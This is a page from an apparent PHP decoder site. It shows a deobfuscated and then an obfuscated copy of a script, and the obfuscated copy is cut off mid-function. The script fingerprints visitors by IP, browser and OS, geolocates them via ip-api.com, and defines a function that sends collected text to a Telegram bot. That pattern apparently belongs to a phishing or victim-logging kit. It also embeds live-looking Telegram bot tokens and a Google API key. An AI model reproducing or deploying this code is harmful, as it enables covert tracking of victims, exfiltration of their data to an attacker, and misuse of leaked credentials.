Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto ZQdeB; FymE0: header("\x43\x6f\x6e\164\145\156\164\55\x74\171\x70\x65\x3a\x20..

Decoded Output download

<?php 
 goto ZQdeB; FymE0: header("Content-type: text/html; charset=utf-8"); goto uDemc; OQVwr: function getUserIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { $_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_CF_CONNECTING_IP"]; $_SERVER["HTTP_CLIENT_IP"] = $_SERVER["HTTP_CF_CONNECTING_IP"]; } $igkzyqnw = "forward"; ${${"GLOBALS"}["glzfxsoubh"]} = @$_SERVER["HTTP_CLIENT_IP"]; ${$igkzyqnw} = @$_SERVER["HTTP_X_FORWARDED_FOR"]; ${"GLOBALS"}["etgteboecvi"] = "client"; ${${"GLOBALS"}["hrvsfwbw"]} = $_SERVER["REMOTE_ADDR"]; if (filter_var(${${"GLOBALS"}["etgteboecvi"]}, FILTER_VALIDATE_IP)) { $qeidgwt = "client"; ${${"GLOBALS"}["jmznoo"]} = ${$qeidgwt}; } elseif (filter_var(${${"GLOBALS"}["cuurzwurp"]}, FILTER_VALIDATE_IP)) { ${${"GLOBALS"}["jmznoo"]} = ${${"GLOBALS"}["cuurzwurp"]}; } else { ${"GLOBALS"}["iibobsqs"] = "remote"; $mowooubiyrhf = "ip"; ${$mowooubiyrhf} = ${${"GLOBALS"}["iibobsqs"]}; } return ${${"GLOBALS"}["jmznoo"]}; } goto qK9nB; yUrXr: ${"GLOBALS"}["jxwbwuolret"] = "data"; goto C_sXb; p_3RN: ${"GLOBALS"}["eopoflkbqhfz"] = "address"; goto S9BM9; QGnNh: ${"GLOBALS"}["dmutcown"] = "continents"; goto jbeYk; uDemc: error_reporting(0); goto xUJ0D; u5JK0: function getBrowser() { ${"GLOBALS"}["mhhroo"] = "agent"; $zqdyclilen = "agent"; ${"GLOBALS"}["blpsmcutdvb"] = "name"; ${${"GLOBALS"}["dvpjrdridbgy"]} = $_SERVER["HTTP_USER_AGENT"]; ${${"GLOBALS"}["blpsmcutdvb"]} = "NA"; $ousgcbfod = "agent"; ${"GLOBALS"}["xggbyfl"] = "name"; if (preg_match("/MSIE/i", ${${"GLOBALS"}["dvpjrdridbgy"]}) && !preg_match("/Opera/i", ${${"GLOBALS"}["dvpjrdridbgy"]})) { ${${"GLOBALS"}["uerqsbkvnv"]} = "Internet Explorer"; } elseif (preg_match("/Firefox/i", ${$ousgcbfod})) { $gccfodkmnil = "name"; ${$gccfodkmnil} = "Mozilla Firefox"; } elseif (preg_match("/Chrome/i", ${$zqdyclilen})) { ${${"GLOBALS"}["uerqsbkvnv"]} = "Google Chrome"; } elseif (preg_match("/Safari/i", ${${"GLOBALS"}["dvpjrdridbgy"]})) { ${${"GLOBALS"}["uerqsbkvnv"]} = "Apple Safari"; } elseif (preg_match("/Opera/i", ${${"GLOBALS"}["dvpjrdridbgy"]})) { ${${"GLOBALS"}["uerqsbkvnv"]} = "Opera"; } elseif (preg_match("/Netscape/i", ${${"GLOBALS"}["mhhroo"]})) { ${${"GLOBALS"}["uerqsbkvnv"]} = "Netscape"; } return ${${"GLOBALS"}["xggbyfl"]}; } goto ggYLm; vjDRr: ${$whkcjwxufx} = "AIzaSyD7r1XON_PDxk3s0XTYh-JK9eIWLbDH-A0"; goto ue0KC; eAPBS: ${"GLOBALS"}["jmznoo"] = "ip"; goto Rqq2i; tuMmy: ${"GLOBALS"}["motykykq"] = "ownerfolder"; goto JGf2M; ZQdeB: ${"GLOBALS"}["cuurzwurp"] = "forward"; goto KME9A; C_sXb: ${"GLOBALS"}["nmxezindlfb"] = "curl"; goto XhWxl; NOkOJ: ${"GLOBALS"}["uqutvts"] = "os_platform"; goto hMHbF; xUJ0D: ${${"GLOBALS"}["motykykq"]} = "GreenV44"; goto WzcZ5; ISuLL: ${"GLOBALS"}["lnrhqwxg"] = "chateridi"; goto yUrXr; I3obX: function getOS($user_agent) { ${"GLOBALS"}["edpfoo"] = "os_platform"; ${"GLOBALS"}["jojfsiaoizj"] = "os_array"; ${${"GLOBALS"}["uqutvts"]} = "Unknown OS Platform"; ${${"GLOBALS"}["yhgxjkk"]} = array("/windows nt 10/i" => "Windows 10", "/windows nt 6.3/i" => "Windows 8.1", "/windows nt 6.2/i" => "Windows 8", "/windows nt 6.1/i" => "Windows 7", "/windows nt 6.0/i" => "Windows Vista", "/windows nt 5.2/i" => "Windows Server 2003/XP x64", "/windows nt 5.1/i" => "Windows XP", "/windows xp/i" => "Windows XP", "/windows nt 5.0/i" => "Windows 2000", "/windows me/i" => "Windows ME", "/win98/i" => "Windows 98", "/win95/i" => "Windows 95", "/win16/i" => "Windows 3.11", "/macintosh|mac os x/i" => "Mac OS X", "/mac_powerpc/i" => "Mac OS 9", "/linux/i" => "Linux", "/ubuntu/i" => "Ubuntu", "/iphone/i" => "iPhone", "/ipod/i" => "iPod", "/ipad/i" => "iPad", "/android/i" => "Android", "/blackberry/i" => "BlackBerry", "/webos/i" => "Mobile"); foreach (${${"GLOBALS"}["jojfsiaoizj"]} as ${${"GLOBALS"}["veqgnstd"]} => ${${"GLOBALS"}["amygciiv"]}) { $qwiuiypip = "regex"; ${"GLOBALS"}["qhpmxwgu"] = "value"; $yokugsftwp = "user_agent"; if (preg_match(${$qwiuiypip}, ${$yokugsftwp})) { ${${"GLOBALS"}["uqutvts"]} = ${${"GLOBALS"}["qhpmxwgu"]}; } } return ${${"GLOBALS"}["edpfoo"]}; } goto u5JK0; J3Izp: ${"GLOBALS"}["xrbnjtqgj"] = "output"; goto p_3RN; S9BM9: ${"GLOBALS"}["wfbpdkobenvw"] = "ipdat"; goto QGnNh; YF3qf: ${"GLOBALS"}["veqgnstd"] = "regex"; goto avGxk; Zw0y4: ${"GLOBALS"}["amygciiv"] = "value"; goto YF3qf; rwGR4: ${"GLOBALS"}["dvpjrdridbgy"] = "agent"; goto Zw0y4; ggYLm: function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) { ${"GLOBALS"}["iurhchuj"] = "output"; ${"GLOBALS"}["lsojcor"] = "purpose"; $glzhbjdqpea = "ip"; ${${"GLOBALS"}["iurhchuj"]} = NULL; ${"GLOBALS"}["ffglgzwst"] = "support"; if (filter_var(${$glzhbjdqpea}, FILTER_VALIDATE_IP) === false) { ${"GLOBALS"}["ufrgqltp"] = "deep_detect"; ${${"GLOBALS"}["jmznoo"]} = $_SERVER["REMOTE_ADDR"]; if (${${"GLOBALS"}["ufrgqltp"]}) { if (filter_var($_SERVER["HTTP_X_FORWARDED_FOR"], FILTER_VALIDATE_IP)) { $vyqormfkkmt = "ip"; ${$vyqormfkkmt} = $_SERVER["HTTP_X_FORWARDED_FOR"]; } if (filter_var($_SERVER["HTTP_CLIENT_IP"], FILTER_VALIDATE_IP)) { ${"GLOBALS"}["juyitiftgl"] = "ip"; ${${"GLOBALS"}["juyitiftgl"]} = $_SERVER["HTTP_CLIENT_IP"]; } } } ${"GLOBALS"}["xekespli"] = "support"; ${${"GLOBALS"}["fkpfsqr"]} = str_replace(array("name", "\xa", "\x9", " ", "-", "_"), NULL, strtolower(trim(${${"GLOBALS"}["fkpfsqr"]}))); ${${"GLOBALS"}["ffglgzwst"]} = array("country", "countrycode", "state", "region", "city", "location", "address"); ${${"GLOBALS"}["dmutcown"]} = array("AF" => "Africa", "AN" => "Antarctica", "AS" => "Asia", "EU" => "Europe", "OC" => "Australia (Oceania)", "NA" => "North America", "SA" => "South America"); if (filter_var(${${"GLOBALS"}["jmznoo"]}, FILTER_VALIDATE_IP) && in_array(${${"GLOBALS"}["lsojcor"]}, ${${"GLOBALS"}["xekespli"]})) { ${${"GLOBALS"}["wfbpdkobenvw"]} = @json_decode(@file_get_contents("http://ip-api.com/json/" . ${${"GLOBALS"}["jmznoo"]})); if (@strlen(@trim($ipdat->countryCode)) == 2) { $mldhceth = "output"; ${"GLOBALS"}["vmhnroxs"] = "address"; ${"GLOBALS"}["trmhdjd"] = "output"; ${"GLOBALS"}["tbohtuycuu"] = "output"; ${"GLOBALS"}["ruogyjeatty"] = "output"; switch (${${"GLOBALS"}["fkpfsqr"]}) { case "location": ${${"GLOBALS"}["ruogyjeatty"]} = array("city" => $ipdat->city, "state" => $ipdat->regionName, "country" => $ipdat->country, "country_code" => $ipdat->countryCode); break; case "address": ${${"GLOBALS"}["eopoflkbqhfz"]} = array($ipdat->countryName); if (1 <= @strlen($ipdat->regionName)) { ${${"GLOBALS"}["eopoflkbqhfz"]}[] = $ipdat->regionName; } if (1 <= @strlen($ipdat->city)) { ${${"GLOBALS"}["eopoflkbqhfz"]}[] = $ipdat->city; } ${${"GLOBALS"}["xrbnjtqgj"]} = implode(", ", array_reverse(${${"GLOBALS"}["vmhnroxs"]})); break; case "city": ${${"GLOBALS"}["xrbnjtqgj"]} = $ipdat->city; break; case "state": ${${"GLOBALS"}["xrbnjtqgj"]} = $ipdat->regionName; break; case "region": ${$mldhceth} = $ipdat->regionName; break; case "country": ${${"GLOBALS"}["tbohtuycuu"]} = $ipdat->country; break; case "countrycode": ${${"GLOBALS"}["trmhdjd"]} = $ipdat->countryCode; break; } } return ${${"GLOBALS"}["xrbnjtqgj"]}; } return ${${"GLOBALS"}["xrbnjtqgj"]}; } goto OQVwr; ue0KC: function checktok($link1) { ${"GLOBALS"}["urmxebhzytd"] = "curl"; ${"GLOBALS"}["sfattvh"] = "curl"; $yxldftix = "link1"; $jhpnmvof = "response"; $vbxketxthd = "curl"; $uurhctroy = "response"; ${${"GLOBALS"}["sfattvh"]} = curl_init(); curl_setopt_array(${${"GLOBALS"}["urmxebhzytd"]}, array(CURLOPT_URL => ${$yxldftix}, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 100)); ${$jhpnmvof} = curl_exec(${${"GLOBALS"}["nmxezindlfb"]}); curl_close(${$vbxketxthd}); return ${$uurhctroy}; } goto s6IJL; avGxk: ${"GLOBALS"}["yhgxjkk"] = "os_array"; goto NOkOJ; JGf2M: $whkcjwxufx = "apikey"; goto FymE0; KME9A: ${"GLOBALS"}["hrvsfwbw"] = "remote"; goto Hxho6; hMHbF: ${"GLOBALS"}["ewyttuulqbt"] = "body"; goto ISuLL; Rqq2i: ${"GLOBALS"}["uerqsbkvnv"] = "name"; goto rwGR4; s6IJL: function Telerexi($chateridi, $body) { $dfquxipkh = "token"; ${$dfquxipkh} = "2053720931:AAG5wpXdCWXSuhELpDdy7EPH6NNR7FuSsyU"; $svtfezy = "response"; ${${"GLOBALS"}["jxwbwuolret"]} = array("chat_id" => ${${"GLOBALS"}["lnrhqwxg"]}, "text" => ${${"GLOBALS"}["ewyttuulqbt"]}, "parse_mode" => "html"); ${$svtfezy} = file_get_contents("https://api.telegram.org/bot{$token}/sendMessage?" . http_build_query(${${"GLOBALS"}["jxwbwuolret"]})); } goto I3obX; jbeYk: ${"GLOBALS"}["fkpfsqr"] = "purpose"; goto eAPBS; XhWxl: ${"GLOBALS"}["kxwmzenwpsc"] = "token"; goto tuMmy; Hxho6: ${"GLOBALS"}["glzfxsoubh"] = "client"; goto J3Izp; WzcZ5: ${${"GLOBALS"}["kxwmzenwpsc"]} = "5918349954:AAGa3p6F7Qow91LZdNczrQWYiw4Wt1eTZQA"; goto vjDRr; qK9nB: ?>

Did this file decode correctly?

Original Code

<?php
 goto ZQdeB; FymE0: header("\x43\x6f\x6e\164\145\156\164\55\x74\171\x70\x65\x3a\x20\x74\x65\x78\164\57\150\x74\x6d\154\x3b\x20\x63\150\x61\x72\x73\x65\x74\x3d\165\x74\146\55\70"); goto uDemc; OQVwr: function getUserIP() { if (isset($_SERVER["\x48\124\x54\120\x5f\x43\x46\x5f\x43\x4f\116\x4e\x45\x43\x54\111\x4e\x47\137\x49\120"])) { $_SERVER["\122\x45\x4d\117\x54\x45\137\x41\104\x44\122"] = $_SERVER["\110\124\124\x50\x5f\103\106\137\x43\117\116\x4e\105\x43\124\111\x4e\107\x5f\111\120"]; $_SERVER["\110\124\124\120\x5f\x43\x4c\111\x45\116\x54\137\111\120"] = $_SERVER["\110\x54\124\120\x5f\x43\x46\x5f\x43\x4f\116\116\105\x43\124\111\116\107\x5f\x49\x50"]; } $igkzyqnw = "\146\157\x72\167\141\162\144"; ${${"\x47\114\x4f\102\101\x4c\x53"}["\147\154\x7a\x66\x78\x73\157\165\x62\150"]} = @$_SERVER["\110\x54\124\x50\137\103\114\111\105\116\124\x5f\111\x50"]; ${$igkzyqnw} = @$_SERVER["\110\124\124\x50\137\x58\x5f\106\117\122\x57\x41\122\x44\x45\x44\137\x46\x4f\x52"]; ${"\107\114\x4f\x42\101\114\123"}["\145\164\147\164\145\142\157\145\x63\166\151"] = "\143\154\x69\x65\156\x74"; ${${"\107\x4c\x4f\x42\101\114\123"}["\x68\162\166\x73\146\167\142\x77"]} = $_SERVER["\x52\x45\115\x4f\x54\105\x5f\x41\104\x44\x52"]; if (filter_var(${${"\107\x4c\117\x42\x41\x4c\x53"}["\145\164\147\x74\145\142\157\x65\143\x76\151"]}, FILTER_VALIDATE_IP)) { $qeidgwt = "\x63\154\x69\145\x6e\164"; ${${"\107\114\x4f\x42\x41\114\123"}["\152\x6d\172\x6e\157\x6f"]} = ${$qeidgwt}; } elseif (filter_var(${${"\107\x4c\x4f\x42\101\x4c\123"}["\143\x75\x75\162\172\167\165\x72\160"]}, FILTER_VALIDATE_IP)) { ${${"\107\114\117\102\x41\x4c\x53"}["\152\155\172\156\x6f\157"]} = ${${"\x47\114\x4f\102\x41\114\x53"}["\x63\165\165\162\x7a\x77\165\162\x70"]}; } else { ${"\107\x4c\x4f\x42\101\114\123"}["\151\151\x62\x6f\x62\163\x71\x73"] = "\162\145\x6d\x6f\x74\x65"; $mowooubiyrhf = "\x69\160"; ${$mowooubiyrhf} = ${${"\107\x4c\117\102\x41\x4c\x53"}["\x69\x69\x62\157\x62\x73\161\163"]}; } return ${${"\107\x4c\x4f\102\101\114\123"}["\152\155\x7a\156\157\x6f"]}; } goto qK9nB; yUrXr: ${"\x47\x4c\x4f\x42\x41\x4c\123"}["\x6a\170\x77\142\167\165\157\154\162\145\164"] = "\144\x61\164\x61"; goto C_sXb; p_3RN: ${"\x47\114\x4f\x42\101\x4c\123"}["\x65\157\160\x6f\146\154\x6b\142\161\x68\146\x7a"] = "\141\x64\144\x72\145\163\163"; goto S9BM9; QGnNh: ${"\107\114\117\102\x41\x4c\x53"}["\144\155\x75\x74\x63\x6f\x77\x6e"] = "\x63\157\156\164\151\x6e\145\x6e\x74\x73"; goto jbeYk; uDemc: error_reporting(0); goto xUJ0D; u5JK0: function getBrowser() { ${"\107\114\117\102\101\114\x53"}["\155\x68\x68\162\x6f\x6f"] = "\x61\147\x65\x6e\164"; $zqdyclilen = "\141\x67\x65\156\164"; ${"\107\x4c\117\x42\101\114\123"}["\x62\154\160\163\155\143\165\164\x64\x76\142"] = "\156\141\x6d\x65"; ${${"\x47\x4c\117\x42\101\114\x53"}["\x64\166\x70\x6a\x72\x64\x72\x69\x64\x62\147\171"]} = $_SERVER["\110\124\x54\x50\137\x55\x53\x45\x52\137\x41\107\x45\x4e\124"]; ${${"\x47\114\x4f\102\101\114\x53"}["\x62\154\160\163\155\143\x75\164\144\166\x62"]} = "\116\x41"; $ousgcbfod = "\141\x67\145\x6e\x74"; ${"\x47\x4c\117\x42\101\x4c\123"}["\x78\147\x67\142\x79\146\x6c"] = "\x6e\141\155\x65"; if (preg_match("\x2f\x4d\x53\x49\105\x2f\151", ${${"\107\114\117\x42\x41\x4c\123"}["\x64\x76\160\x6a\x72\x64\x72\151\x64\x62\x67\x79"]}) && !preg_match("\57\x4f\x70\x65\x72\141\57\151", ${${"\x47\114\x4f\x42\x41\114\x53"}["\x64\x76\x70\x6a\x72\144\162\x69\x64\142\x67\x79"]})) { ${${"\107\114\117\102\x41\x4c\x53"}["\165\145\162\x71\x73\142\153\x76\156\x76"]} = "\111\156\164\145\162\x6e\x65\164\x20\105\x78\160\x6c\x6f\162\x65\x72"; } elseif (preg_match("\x2f\x46\x69\162\145\x66\x6f\170\57\x69", ${$ousgcbfod})) { $gccfodkmnil = "\156\x61\x6d\145"; ${$gccfodkmnil} = "\x4d\x6f\172\151\154\154\141\40\x46\x69\162\145\x66\x6f\170"; } elseif (preg_match("\x2f\x43\150\x72\x6f\x6d\x65\x2f\x69", ${$zqdyclilen})) { ${${"\x47\114\117\102\x41\114\x53"}["\x75\x65\x72\x71\x73\x62\153\166\156\166"]} = "\107\157\157\147\154\145\x20\x43\150\162\157\155\145"; } elseif (preg_match("\57\x53\141\146\141\x72\151\x2f\x69", ${${"\107\x4c\x4f\102\101\114\x53"}["\144\x76\160\152\162\144\162\151\x64\x62\x67\171"]})) { ${${"\x47\x4c\117\x42\101\114\x53"}["\x75\x65\x72\x71\x73\x62\x6b\166\156\x76"]} = "\101\x70\x70\154\145\40\x53\141\x66\x61\x72\x69"; } elseif (preg_match("\x2f\117\160\x65\162\x61\57\151", ${${"\107\x4c\117\x42\x41\x4c\x53"}["\x64\166\160\152\x72\144\x72\151\x64\142\147\171"]})) { ${${"\107\114\117\102\101\x4c\123"}["\165\x65\162\161\x73\142\153\166\x6e\166"]} = "\x4f\160\x65\162\x61"; } elseif (preg_match("\x2f\x4e\145\164\x73\143\141\160\x65\57\151", ${${"\107\114\117\102\101\x4c\x53"}["\155\150\150\x72\157\157"]})) { ${${"\107\x4c\117\x42\x41\x4c\123"}["\165\145\x72\x71\163\142\153\x76\156\166"]} = "\x4e\145\x74\x73\143\x61\160\145"; } return ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x67\x67\x62\x79\x66\154"]}; } goto ggYLm; vjDRr: ${$whkcjwxufx} = "\x41\x49\x7a\x61\x53\171\104\x37\162\61\x58\x4f\116\137\x50\x44\170\153\x33\163\x30\130\x54\x59\150\x2d\112\x4b\71\145\111\127\114\142\104\x48\x2d\x41\x30"; goto ue0KC; eAPBS: ${"\x47\114\117\x42\101\x4c\123"}["\x6a\x6d\x7a\x6e\x6f\157"] = "\x69\x70"; goto Rqq2i; tuMmy: ${"\x47\x4c\x4f\102\101\114\x53"}["\155\157\164\171\x6b\x79\153\x71"] = "\157\x77\x6e\x65\162\x66\157\154\144\145\x72"; goto JGf2M; ZQdeB: ${"\x47\114\117\x42\x41\114\x53"}["\x63\165\165\x72\172\x77\165\x72\x70"] = "\x66\157\162\x77\x61\x72\144"; goto KME9A; C_sXb: ${"\x47\x4c\x4f\x42\x41\114\123"}["\x6e\x6d\x78\x65\x7a\x69\x6e\x64\x6c\146\x62"] = "\143\165\x72\154"; goto XhWxl; NOkOJ: ${"\x47\x4c\117\x42\x41\x4c\x53"}["\x75\x71\x75\164\x76\164\163"] = "\x6f\x73\x5f\x70\x6c\x61\164\146\157\162\155"; goto hMHbF; xUJ0D: ${${"\107\114\x4f\x42\x41\x4c\123"}["\155\157\164\x79\x6b\x79\153\x71"]} = "\x47\x72\145\x65\156\x56\64\64"; goto WzcZ5; ISuLL: ${"\107\x4c\117\102\101\114\123"}["\x6c\x6e\x72\150\x71\x77\x78\x67"] = "\x63\150\x61\x74\x65\162\151\x64\x69"; goto yUrXr; I3obX: function getOS($user_agent) { ${"\x47\x4c\117\102\x41\x4c\123"}["\x65\x64\x70\146\x6f\x6f"] = "\157\163\x5f\x70\154\x61\x74\146\x6f\162\155"; ${"\107\114\117\x42\x41\114\x53"}["\x6a\157\152\x66\163\151\x61\157\151\x7a\152"] = "\x6f\x73\x5f\x61\x72\162\x61\171"; ${${"\107\114\x4f\102\x41\114\123"}["\165\161\165\x74\x76\164\163"]} = "\125\x6e\153\x6e\157\167\156\40\117\123\x20\x50\154\141\x74\x66\157\162\155"; ${${"\107\114\x4f\x42\x41\114\x53"}["\x79\x68\147\170\x6a\x6b\153"]} = array("\x2f\x77\x69\156\x64\157\167\163\x20\x6e\x74\40\x31\60\x2f\151" => "\x57\x69\x6e\x64\157\167\163\40\x31\x30", "\x2f\x77\x69\x6e\x64\157\167\x73\x20\x6e\164\x20\66\x2e\63\57\151" => "\x57\151\156\x64\157\x77\x73\40\70\x2e\61", "\57\x77\151\156\144\x6f\167\x73\40\x6e\x74\x20\66\56\x32\57\x69" => "\x57\151\156\x64\157\167\163\40\70", "\57\x77\x69\x6e\144\x6f\x77\163\40\x6e\164\x20\x36\56\x31\x2f\x69" => "\127\151\x6e\144\157\x77\x73\40\x37", "\57\x77\x69\x6e\144\157\167\x73\40\x6e\164\40\x36\x2e\x30\57\151" => "\127\151\x6e\x64\157\x77\x73\40\x56\x69\x73\x74\x61", "\x2f\x77\x69\156\144\157\167\x73\40\156\164\40\x35\x2e\62\x2f\151" => "\127\x69\156\x64\157\167\x73\x20\123\x65\x72\x76\145\162\x20\62\x30\x30\63\x2f\x58\120\x20\x78\x36\64", "\x2f\x77\151\x6e\144\x6f\167\x73\40\x6e\164\x20\x35\56\x31\x2f\151" => "\127\151\156\x64\157\167\163\x20\130\120", "\57\x77\151\156\144\157\167\163\40\170\x70\57\151" => "\x57\151\x6e\144\157\167\163\40\130\x50", "\57\x77\x69\x6e\x64\157\167\x73\40\156\164\x20\x35\56\60\x2f\x69" => "\127\151\x6e\x64\157\167\x73\40\62\60\x30\x30", "\57\x77\x69\x6e\144\x6f\x77\x73\x20\155\x65\x2f\151" => "\127\151\x6e\144\x6f\167\x73\40\x4d\x45", "\57\x77\x69\156\71\70\57\x69" => "\x57\x69\156\x64\x6f\x77\163\40\71\70", "\57\x77\x69\x6e\71\65\57\151" => "\x57\x69\x6e\144\x6f\167\163\x20\71\x35", "\x2f\167\x69\x6e\x31\66\x2f\x69" => "\x57\x69\156\144\x6f\x77\163\40\63\56\x31\x31", "\x2f\155\141\143\151\156\164\157\x73\150\174\x6d\x61\x63\x20\x6f\x73\40\x78\57\x69" => "\115\141\143\x20\117\x53\x20\130", "\x2f\x6d\x61\143\x5f\160\157\x77\x65\162\x70\143\x2f\151" => "\115\x61\x63\x20\117\x53\x20\71", "\57\x6c\x69\156\165\170\x2f\x69" => "\114\151\156\x75\170", "\57\165\x62\x75\x6e\x74\x75\x2f\x69" => "\x55\142\165\156\164\x75", "\x2f\x69\160\150\x6f\156\x65\57\x69" => "\151\120\150\x6f\x6e\145", "\x2f\x69\160\157\144\x2f\151" => "\151\120\157\x64", "\x2f\151\160\x61\x64\57\x69" => "\151\x50\x61\x64", "\x2f\141\x6e\144\x72\x6f\151\x64\x2f\x69" => "\101\x6e\144\x72\157\x69\x64", "\x2f\x62\x6c\141\143\153\142\x65\x72\x72\x79\x2f\151" => "\102\154\x61\x63\153\x42\x65\162\162\x79", "\x2f\167\x65\x62\x6f\x73\57\151" => "\115\x6f\x62\x69\154\145"); foreach (${${"\x47\114\x4f\102\101\x4c\x53"}["\x6a\x6f\x6a\x66\163\x69\x61\157\x69\x7a\x6a"]} as ${${"\107\114\117\102\101\x4c\x53"}["\166\145\x71\x67\156\163\x74\x64"]} => ${${"\107\x4c\117\x42\x41\x4c\x53"}["\x61\x6d\x79\x67\143\151\151\x76"]}) { $qwiuiypip = "\162\145\x67\x65\170"; ${"\x47\114\x4f\102\101\x4c\123"}["\x71\x68\x70\x6d\170\x77\x67\x75"] = "\166\141\x6c\165\145"; $yokugsftwp = "\x75\163\145\162\x5f\x61\x67\145\156\164"; if (preg_match(${$qwiuiypip}, ${$yokugsftwp})) { ${${"\x47\114\x4f\102\101\114\x53"}["\165\161\165\164\x76\x74\163"]} = ${${"\x47\114\117\102\101\114\x53"}["\x71\150\x70\x6d\x78\x77\x67\x75"]}; } } return ${${"\107\x4c\117\102\x41\114\x53"}["\x65\x64\x70\146\x6f\x6f"]}; } goto u5JK0; J3Izp: ${"\x47\114\x4f\x42\101\114\x53"}["\170\x72\142\x6e\152\164\161\147\152"] = "\x6f\165\164\x70\165\164"; goto p_3RN; S9BM9: ${"\x47\x4c\117\x42\101\114\123"}["\x77\x66\142\160\x64\x6b\x6f\x62\x65\x6e\x76\x77"] = "\151\x70\144\x61\164"; goto QGnNh; YF3qf: ${"\x47\x4c\x4f\102\101\114\x53"}["\166\x65\x71\x67\x6e\x73\x74\144"] = "\x72\x65\147\x65\170"; goto avGxk; Zw0y4: ${"\x47\114\x4f\x42\x41\x4c\x53"}["\141\x6d\171\x67\143\x69\x69\166"] = "\x76\x61\154\165\x65"; goto YF3qf; rwGR4: ${"\x47\114\x4f\x42\101\x4c\123"}["\x64\166\160\x6a\162\x64\x72\x69\144\x62\147\x79"] = "\x61\x67\145\x6e\164"; goto Zw0y4; ggYLm: function ip_info($ip = NULL, $purpose = "\x6c\x6f\143\141\x74\151\157\x6e", $deep_detect = TRUE) { ${"\x47\x4c\x4f\x42\x41\114\x53"}["\x69\x75\x72\x68\143\150\165\152"] = "\x6f\165\164\x70\165\x74"; ${"\x47\114\117\102\101\114\123"}["\154\x73\157\152\143\157\162"] = "\160\x75\x72\x70\x6f\163\x65"; $glzhbjdqpea = "\x69\x70"; ${${"\x47\x4c\x4f\x42\101\x4c\x53"}["\x69\165\162\150\143\x68\165\152"]} = NULL; ${"\x47\x4c\117\102\x41\x4c\123"}["\146\x66\147\154\x67\x7a\167\x73\164"] = "\163\165\x70\160\157\162\164"; if (filter_var(${$glzhbjdqpea}, FILTER_VALIDATE_IP) === false) { ${"\107\x4c\x4f\102\101\x4c\123"}["\x75\x66\x72\x67\x71\154\x74\160"] = "\144\x65\x65\x70\137\x64\145\x74\145\143\x74"; ${${"\x47\114\x4f\x42\x41\x4c\123"}["\152\155\x7a\156\x6f\x6f"]} = $_SERVER["\x52\x45\x4d\x4f\x54\105\x5f\x41\x44\104\x52"]; if (${${"\x47\114\117\102\101\114\123"}["\x75\146\162\147\161\x6c\164\160"]}) { if (filter_var($_SERVER["\x48\124\x54\x50\x5f\130\x5f\x46\117\122\127\x41\x52\104\105\104\x5f\x46\x4f\122"], FILTER_VALIDATE_IP)) { $vyqormfkkmt = "\x69\x70"; ${$vyqormfkkmt} = $_SERVER["\x48\x54\x54\x50\137\130\x5f\106\x4f\122\127\x41\x52\x44\105\x44\137\x46\117\122"]; } if (filter_var($_SERVER["\x48\124\x54\x50\x5f\x43\114\x49\x45\116\x54\x5f\x49\x50"], FILTER_VALIDATE_IP)) { ${"\107\114\x4f\x42\x41\x4c\123"}["\x6a\x75\x79\x69\x74\151\146\164\x67\x6c"] = "\151\160"; ${${"\x47\x4c\x4f\x42\x41\x4c\123"}["\152\165\171\151\x74\151\146\164\x67\154"]} = $_SERVER["\110\x54\x54\x50\x5f\103\x4c\x49\x45\116\124\137\111\x50"]; } } } ${"\107\x4c\x4f\102\101\114\x53"}["\x78\x65\153\x65\x73\x70\154\151"] = "\x73\165\x70\x70\x6f\162\x74"; ${${"\x47\x4c\x4f\102\101\x4c\x53"}["\x66\x6b\x70\x66\163\x71\162"]} = str_replace(array("\156\x61\x6d\145", "\xa", "\x9", "\x20", "\55", "\137"), NULL, strtolower(trim(${${"\107\x4c\117\102\101\x4c\123"}["\146\x6b\160\146\x73\161\162"]}))); ${${"\x47\x4c\117\102\101\114\123"}["\x66\x66\x67\x6c\x67\172\167\x73\164"]} = array("\x63\x6f\165\156\x74\162\171", "\x63\157\165\156\164\x72\x79\143\157\144\x65", "\x73\164\141\x74\145", "\162\x65\147\x69\157\156", "\143\x69\164\x79", "\154\157\x63\141\164\x69\157\156", "\141\144\144\162\145\x73\x73"); ${${"\107\114\x4f\x42\x41\114\x53"}["\144\155\x75\x74\x63\x6f\x77\156"]} = array("\x41\106" => "\x41\146\x72\151\143\141", "\x41\x4e" => "\101\156\164\141\162\143\164\x69\x63\141", "\101\x53" => "\101\163\151\x61", "\105\125" => "\105\x75\x72\157\160\145", "\x4f\x43" => "\x41\x75\x73\164\x72\141\x6c\151\x61\x20\50\x4f\x63\145\x61\x6e\151\x61\51", "\116\x41" => "\116\x6f\162\x74\150\x20\101\x6d\x65\x72\x69\143\x61", "\123\x41" => "\123\157\x75\164\150\x20\x41\155\x65\x72\151\143\x61"); if (filter_var(${${"\x47\114\117\102\101\114\123"}["\152\x6d\x7a\x6e\157\x6f"]}, FILTER_VALIDATE_IP) && in_array(${${"\107\x4c\117\x42\101\114\x53"}["\x6c\x73\x6f\152\143\157\162"]}, ${${"\x47\114\x4f\102\x41\x4c\x53"}["\x78\145\x6b\145\163\x70\x6c\151"]})) { ${${"\x47\114\x4f\x42\101\x4c\x53"}["\167\x66\142\x70\x64\x6b\x6f\x62\x65\156\x76\x77"]} = @json_decode(@file_get_contents("\150\164\164\x70\72\x2f\57\151\x70\55\x61\160\151\x2e\x63\x6f\155\57\152\x73\x6f\x6e\57" . ${${"\107\x4c\x4f\x42\101\114\123"}["\x6a\x6d\172\x6e\157\157"]})); if (@strlen(@trim($ipdat->countryCode)) == 2) { $mldhceth = "\x6f\x75\164\160\165\164"; ${"\107\114\x4f\x42\101\114\x53"}["\166\x6d\x68\x6e\162\x6f\x78\163"] = "\x61\144\144\162\x65\163\x73"; ${"\107\x4c\117\x42\x41\x4c\x53"}["\x74\162\x6d\150\144\x6a\x64"] = "\157\165\x74\x70\x75\164"; ${"\x47\114\117\x42\101\114\123"}["\164\x62\x6f\150\164\x75\171\143\x75\x75"] = "\x6f\x75\164\160\165\x74"; ${"\107\x4c\x4f\x42\101\114\123"}["\x72\x75\x6f\x67\171\x6a\x65\141\x74\x74\x79"] = "\157\165\x74\x70\165\164"; switch (${${"\107\114\117\x42\101\x4c\123"}["\x66\153\x70\146\x73\x71\162"]}) { case "\154\x6f\x63\141\164\x69\157\x6e": 